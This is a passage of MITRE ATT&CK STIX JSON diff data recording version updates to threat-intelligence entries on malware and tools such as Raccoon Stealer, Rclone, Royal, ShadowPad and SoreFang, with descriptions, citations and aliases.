"url": "https://attack.mitre.org/software/S1148", + "external_id": "S1148" + }, + { + "source_name": "Sekoia Raccoon1 2022", + "description": "Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.", + "url": "https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/" + }, + { + "source_name": "S2W Racoon 2022", + "description": "S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.", + "url": "https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Raccoon Stealer" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Manikantan Srinivasan, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India", + "Catherine Williams, BT Security", + "Harry Hill, BT Security", + "Yoshihiro Kori, NEC Corporation" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-14 21:40:02.258000+00:00\", \"old_value\": \"2024-10-11 14:44:53.661000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "tool", + "id": "tool--59096109-a1dd-463b-87e7-a8d110fe3a79", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-08-30 13:02:36.422000+00:00", + "modified": "2025-10-14 18:39:05.993000+00:00", + "name": "Rclone", + "description": "[Rclone](https://attack.mitre.org/software/S1040) is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. [Rclone](https://attack.mitre.org/software/S1040) has been used in a number of ransomware campaigns, including those associated with the [Conti](https://attack.mitre.org/software/S0575) and DarkSide Ransomware-as-a-Service operations.(Citation: Rclone)(Citation: Rclone Wars)(Citation: Detecting Rclone)(Citation: DarkSide Ransomware Gang)(Citation: DFIR Conti Bazar Nov 2021)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1040", + "external_id": "S1040" + }, + { + "source_name": "Detecting Rclone", + "description": " Aaron Greetham. (2021, May 27). Detecting Rclone \u2013 An Effective Tool for Exfiltration. Retrieved August 30, 2022.", + "url": "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/" + }, + { + "source_name": "DFIR Conti Bazar Nov 2021", + "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.", + "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/" + }, + { + "source_name": "Rclone Wars", + "description": "Justin Schoenfeld and Aaron Didier. (2021, May 4). Rclone Wars: Transferring leverage in a ransomware attack. Retrieved August 30, 2022.", + "url": "https://redcanary.com/blog/rclone-mega-extortion/" + }, + { + "source_name": "Rclone", + "description": "Nick Craig-Wood. (n.d.). Rclone syncs your files to cloud storage. Retrieved August 30, 2022.", + "url": "https://rclone.org" + }, + { + "source_name": "DarkSide Ransomware Gang", + "description": "Ramarcus Baylor. (2021, May 12). DarkSide Ransomware Gang: An Overview. Retrieved August 30, 2022.", + "url": "https://unit42.paloaltonetworks.com/darkside-ransomware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Rclone" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Edward Millington", + "Ian McKay" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-14 18:39:05.993000+00:00\", \"old_value\": \"2024-04-04 03:50:32.975000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "malware", + "id": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16 16:13:52.465000+00:00", + "modified": "2025-10-22 03:21:09.704000+00:00", + "name": "Reaver", + "description": "[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel](https://attack.mitre.org/techniques/T1218/002) items.(Citation: Palo Alto Reaver Nov 2017)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0172", + "external_id": "S0172" + }, + { + "source_name": "Reaver", + "description": "(Citation: Palo Alto Reaver Nov 2017)" + }, + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Reaver" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 03:21:09.704000+00:00\", \"old_value\": \"2024-04-11 00:21:09.543000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3" + }, + { + "type": "malware", + "id": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:33:12.858000+00:00", + "modified": "2025-06-06 14:56:00.296000+00:00", + "name": "Remsec", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is a modular backdoor that has been used by [Strider](https://attack.mitre.org/groups/G0041) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0125", + "external_id": "S0125" + }, + { + "source_name": "Kaspersky ProjectSauron Blog", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.", + "url": "https://securelist.com/faq-the-projectsauron-apt/75533/" + }, + { + "source_name": "ProjectSauron", + "description": "ProjectSauron is used to refer both to the threat group also known as G0041 as well as the malware platform also known as S0125. (Citation: Kaspersky ProjectSauron Blog)" + }, + { + "source_name": "Symantec Strider Blog", + "description": "Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Remsec", + "Backdoor.Remsec", + "ProjectSauron" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-06-06 14:56:00.296000+00:00\", \"old_value\": \"2024-08-05 18:23:59.724000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5" + }, + { + "type": "malware", + "id": "malware--802a874d-7463-4f2a-99e3-6a1f5a919a21", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-30 20:25:37.761000+00:00", + "modified": "2025-10-21 03:24:27.158000+00:00", + "name": "Royal", + "description": "[Royal](https://attack.mitre.org/software/S1073) is ransomware that first appeared in early 2022; a version that also targets ESXi servers was later observed in February 2023. [Royal](https://attack.mitre.org/software/S1073) employs partial encryption and multiple threads to evade detection and speed encryption. [Royal](https://attack.mitre.org/software/S1073) has been used in attacks against multiple industries worldwide--including critical infrastructure. Security researchers have identified similarities in the encryption routines and TTPs used in [Royal](https://attack.mitre.org/software/S1073) and [Conti](https://attack.mitre.org/software/S0575) attacks and noted a possible connection between their operators.(Citation: Microsoft Royal ransomware November 2022)(Citation: Cybereason Royal December 2022)(Citation: Kroll Royal Deep Dive February 2023)(Citation: Trend Micro Royal Linux ESXi February 2023)(Citation: CISA Royal AA23-061A March 2023)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1073", + "external_id": "S1073" + }, + { + "source_name": "CISA Royal AA23-061A March 2023", + "description": "CISA. (2023, March 2). #StopRansomware: Royal Ransomware. Retrieved March 31, 2023.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a" + }, + { + "source_name": "Cybereason Royal December 2022", + "description": "Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.", + "url": "https://www.cybereason.com/blog/royal-ransomware-analysis" + }, + { + "source_name": "Kroll Royal Deep Dive February 2023", + "description": "Iacono, L. and Green, S. (2023, February 13). Royal Ransomware Deep Dive. Retrieved March 30, 2023.", + "url": "https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive" + }, + { + "source_name": "Trend Micro Royal Linux ESXi February 2023", + "description": "Morales, N. et al. (2023, February 20). Royal Ransomware Expands Attacks by Targeting Linux ESXi Servers. Retrieved March 30, 2023.", + "url": "https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html" + }, + { + "source_name": "Microsoft Royal ransomware November 2022", + "description": "MSTIC. (2022, November 17). DEV-0569 finds new ways to deliver Royal ransomware, various payloads. Retrieved March 30, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/11/17/dev-0569-finds-new-ways-to-deliver-royal-ransomware-various-payloads/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Royal" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Wataru Takahashi, NEC Corporation", + "Pooja Natarajan, NEC Corporation India", + "Manikantan Srinivasan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "ESXi" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 03:24:27.158000+00:00\", \"old_value\": \"2025-04-16 20:38:20.361000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "malware", + "id": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2025-10-22 03:02:12.918000+00:00", + "name": "RunningRAT", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [Brave Prince](https://attack.mitre.org/software/S0252). (Citation: McAfee Gold Dragon)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0253", + "external_id": "S0253" + }, + { + "source_name": "RunningRAT", + "description": "(Citation: McAfee Gold Dragon)" + }, + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RunningRAT" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 03:02:12.918000+00:00\", \"old_value\": \"2025-04-25 14:43:33.592000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "malware", + "id": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-11-16 23:23:00.729000+00:00", + "modified": "2025-10-21 22:55:49.669000+00:00", + "name": "SLOTHFULMEDIA", + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is a remote access Trojan written in C++ that has been used by an unidentified \"sophisticated cyber actor\" since at least January 2017.(Citation: CISA MAR SLOTHFULMEDIA October 2020)(Citation: Costin Raiu IAmTheKing October 2020) It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.(Citation: USCYBERCOM SLOTHFULMEDIA October 2020)(Citation: Kaspersky IAmTheKing October 2020) \n\nIn October 2020, Kaspersky Labs assessed [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is part of an activity cluster it refers to as \"IAmTheKing\".(Citation: Kaspersky IAmTheKing October 2020) ESET also noted code similarity between [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) and droppers used by a group it refers to as \"PowerPool\".(Citation: ESET PowerPool Code October 2020) ", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0533", + "external_id": "S0533" + }, + { + "source_name": "Costin Raiu IAmTheKing October 2020", + "description": "Costin Raiu. (2020, October 2). Costin Raiu Twitter IAmTheKing SlothfulMedia. Retrieved September 12, 2024.", + "url": "https://x.com/craiu/status/1311920398259367942" + }, + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020.", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a" + }, + { + "source_name": "ESET PowerPool Code October 2020", + "description": "ESET Research. (2020, October 1). ESET Research Tweet Linking Slothfulmedia and PowerPool. Retrieved September 12, 2024.", + "url": "https://x.com/ESETresearch/status/1311762215490461696" + }, + { + "source_name": "Kaspersky IAmTheKing October 2020", + "description": "Ivan Kwiatkowski, Pierre Delcher, Felix Aime. (2020, October 15). IAmTheKing and the SlothfulMedia malware family. Retrieved October 15, 2020.", + "url": "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/" + }, + { + "source_name": "QueenOfClubs", + "description": "Kaspersky Labs assesses [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is an older variant of a malware family it refers to as the QueenOfClubs.(Citation: Kaspersky IAmTheKing October 2020)" + }, + { + "source_name": "JackOfHearts", + "description": "Kaspersky Labs refers to the \"mediaplayer.exe\" dropper within [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) as the JackOfHearts.(Citation: Kaspersky IAmTheKing October 2020)" + }, + { + "source_name": "USCYBERCOM SLOTHFULMEDIA October 2020", + "description": "USCYBERCOM. (2020, October 1). USCYBERCOM Cybersecurity Alert SLOTHFULMEDIA. Retrieved September 12, 2024.", + "url": "https://x.com/CNMF_CyberAlert/status/1311743710997159953" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SLOTHFULMEDIA", + "JackOfHearts", + "QueenOfClubs" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 22:55:49.669000+00:00\", \"old_value\": \"2024-09-12 19:39:44.514000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--44e2a842-415b-47f4-8549-83fbdb8a5674", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-10-04 21:48:00.086000+00:00", + "modified": "2025-10-22 02:19:45.278000+00:00", + "name": "SUGARUSH", + "description": "[SUGARUSH](https://attack.mitre.org/software/S1049) is a small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. [SUGARUSH](https://attack.mitre.org/software/S1049) was first identified during analysis of UNC3890's [C0010](https://attack.mitre.org/campaigns/C0010) campaign targeting Israeli companies, which began in late 2020.(Citation: Mandiant UNC3890 Aug 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1049", + "external_id": "S1049" + }, + { + "source_name": "Mandiant UNC3890 Aug 2022", + "description": "Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.", + "url": "https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SUGARUSH" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:19:45.278000+00:00\", \"old_value\": \"2025-04-16 20:38:04.465000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--a87c8100-8735-440e-8ee4-27aabb643592", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-11-25 19:14:25.846000+00:00", + "modified": "2025-10-22 03:12:00.816000+00:00", + "name": "SampleCheck5000", + "description": "[SampleCheck5000](https://attack.mitre.org/software/S1168) is a downloader with multiple variants that was used by [OilRig](https://attack.mitre.org/groups/G0049) including during the [Outer Space](https://attack.mitre.org/campaigns/C0042) campaign to download and execute additional payloads. (Citation: ESET OilRig Campaigns Sep 2023)(Citation: ESET OilRig Downloaders DEC 2023)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1168", + "external_id": "S1168" + }, + { + "source_name": "SC5k", + "description": "(Citation: ESET OilRig Campaigns Sep 2023)" + }, + { + "source_name": "ESET OilRig Downloaders DEC 2023", + "description": "Hromcova, Z. and Burgher, A. (2023, December 14). OilRig\u2019s persistent attacks using cloud service-powered downloaders. Retrieved November 26, 2024.", + "url": "https://www.welivesecurity.com/en/eset-research/oilrig-persistent-attacks-cloud-service-powered-downloaders/" + }, + { + "source_name": "ESET OilRig Campaigns Sep 2023", + "description": "Hromcova, Z. and Burgher, A. (2023, September 21). OilRig\u2019s Outer Space and Juicy Mix: Same ol\u2019 rig, new drill pipes. Retrieved November 21, 2024.", + "url": "https://www.welivesecurity.com/en/eset-research/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SampleCheck5000", + "SC5k" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 03:12:00.816000+00:00\", \"old_value\": \"2024-11-26 19:54:38.780000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-05 15:56:46.250000+00:00", + "modified": "2025-10-22 02:07:46.452000+00:00", + "name": "Sardonic", + "description": "[Sardonic](https://attack.mitre.org/software/S1085) is a backdoor written in C and C++ that is known to be used by [FIN8](https://attack.mitre.org/groups/G0061), as early as August 2021 to target a financial institution in the United States. [Sardonic](https://attack.mitre.org/software/S1085) has a plugin system that can load specially made DLLs and execute their functions.(Citation: Bitdefender Sardonic Aug 2021)(Citation: Symantec FIN8 Jul 2023)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1085", + "external_id": "S1085" + }, + { + "source_name": "Bitdefender Sardonic Aug 2021", + "description": "Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.", + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf" + }, + { + "source_name": "Symantec FIN8 Jul 2023", + "description": "Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Sardonic" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Serhii Melnyk, Trustwave SpiderLabs" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:07:46.452000+00:00\", \"old_value\": \"2023-10-04 15:36:06.160000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-23 20:49:39.954000+00:00", + "modified": "2025-10-22 03:18:16.948000+00:00", + "name": "ShadowPad", + "description": "[ShadowPad](https://attack.mitre.org/software/S0596) is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by [APT41](https://attack.mitre.org/groups/G0096), but has since been observed to be used by various Chinese threat activity groups. (Citation: Recorded Future RedEcho Feb 2021)(Citation: Securelist ShadowPad Aug 2017)(Citation: Kaspersky ShadowPad Aug 2017) ", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0596", + "external_id": "S0596" + }, + { + "source_name": "POISONPLUG.SHADOW", + "description": "(Citation: FireEye APT41 Aug 2019)" + }, + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf" + }, + { + "source_name": "Securelist ShadowPad Aug 2017", + "description": "GReAT. (2017, August 15). ShadowPad in corporate networks. Retrieved March 22, 2021.", + "url": "https://securelist.com/shadowpad-in-corporate-networks/81432/" + }, + { + "source_name": "Recorded Future RedEcho Feb 2021", + "description": "Insikt Group. (2021, February 28). China-Linked Group RedEcho Targets the Indian Power Sector Amid Heightened Border Tensions. Retrieved March 22, 2021.", + "url": "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf" + }, + { + "source_name": "Kaspersky ShadowPad Aug 2017", + "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ShadowPad", + "POISONPLUG.SHADOW" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 03:18:16.948000+00:00\", \"old_value\": \"2025-04-16 20:38:41.797000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3" + }, + { + "type": "malware", + "id": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-09-29 19:33:35.122000+00:00", + "modified": "2025-10-22 02:39:07.705000+00:00", + "name": "SoreFang", + "description": "[SoreFang](https://attack.mitre.org/software/S0516) is first stage downloader used by [APT29](https://attack.mitre.org/groups/G0016) for exfiltration and to load other malware.(Citation: NCSC APT29 July 2020)(Citation: CISA SoreFang July 2016)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0516", + "external_id": "S0516" + }, + { + "source_name": 